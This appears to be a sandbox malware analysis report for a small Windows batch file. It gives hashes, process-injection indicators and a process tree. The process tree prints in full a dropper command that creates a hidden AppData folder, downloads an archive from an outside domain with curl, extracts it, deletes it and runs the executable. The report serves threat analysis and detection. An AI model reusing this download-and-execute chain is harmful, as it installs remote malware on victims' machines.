58cae9f59eee52ef833595038e2231c4c31b66919626721da86b20b4f5487987

Analysis

user interaction
yes
max time kernel
26s
max time network
4s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
19/05/2026, 23:14

Target
SECINC-3197.cmd
Size 208B
Sample260519-277etsf12j
SHA256 58cae9f59eee52ef833595038e2231c4c31b66919626721da86b20b4f5487987
MD5 40b801195f0a3a2471a450da0ae38aff
SHA1 b4f5fab062d48f4593a2787266721f57a0682a31
SHA512 9241d211d035b5c100ff0038e0b0252e09067f03950c736dbd41fe0c516b69cf93f9049cd05429daf40d0b512eefe628c73ac8199955bb36625c5aba9330edb7
TLSH
T161D0222007D8F53DAE3200825B71C22602399FE0D2888D4F8340064C90A0E1D11CFC94
MD5 SHA1 SHA512 TLSH

Score

1^/10

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2072 wrote to memory of 4908	2072	cmd.exe	83
PID 4908 wrote to memory of 3880	4908	conhost.exe	84
PID 3880 wrote to memory of 4988	3880	cmd.exe	85
PID 3880 wrote to memory of 1536	3880	cmd.exe	86

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	3	curl/8.7.1

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SECINC-3197.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2072
- C:\WINDOWS\system32\conhost.exe
  "C:\WINDOWS\system32\conhost.exe" --headless cmd /c "md C:\Users\khachab\AppData\Roaming\Nuance\DLP&pushd C:\Users\khachab\AppData\Roaming\Nuance\DLP&curl -skLo t qiig7t2nzog.com/d&tar xf t&del t&mpextms.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4908
- - C:\WINDOWS\system32\cmd.exe
    cmd /c "md C:\Users\khachab\AppData\Roaming\Nuance\DLP&pushd C:\Users\khachab\AppData\Roaming\Nuance\DLP&curl -skLo t qiig7t2nzog.com/d&tar xf t&del t&mpextms.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3880
  - - C:\Windows\system32\curl.exe
      curl -skLo t qiig7t2nzog.com/d
      4⤵
      PID:4988
  - - C:\Windows\system32\tar.exe
      tar xf t
      4⤵
      PID:1536

Path C:\Users\khachab\AppData\Roaming\Nuance\DLP\t
Size 1.5MB
SHA256 8d58b78719bcec69aca2c8f36416a9a84c3a6ada40ccade6656f1c267a1ad5a8
MD5 4d7e461040d0a908cde2e875da3afff0
SHA1 30bee0ccedf67a9c0b3251303e7b9eb349833ac1
SHA512 ad5892d257ed27986054dbaf820b7ed3833cbef3da4008cd2ced7d6e3f42bb30e02e89deb34f2f41468259cce962d6d9a65b67c3ff88990b5c9b5c386f3b852a
SSDEEP 24576:pihx1hQVmTTY8/yK957VB1VGgHKVZ8T9Qp9qMdM0ETpmaCRrjXF:pihx12Vmnjyc57GgHKVZ85G9Bu00pmam
TLSH
T1CD757E19F7A21884CC77807055B47315DA61379C8340AAFFA26EC9A926376C47B3D3EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download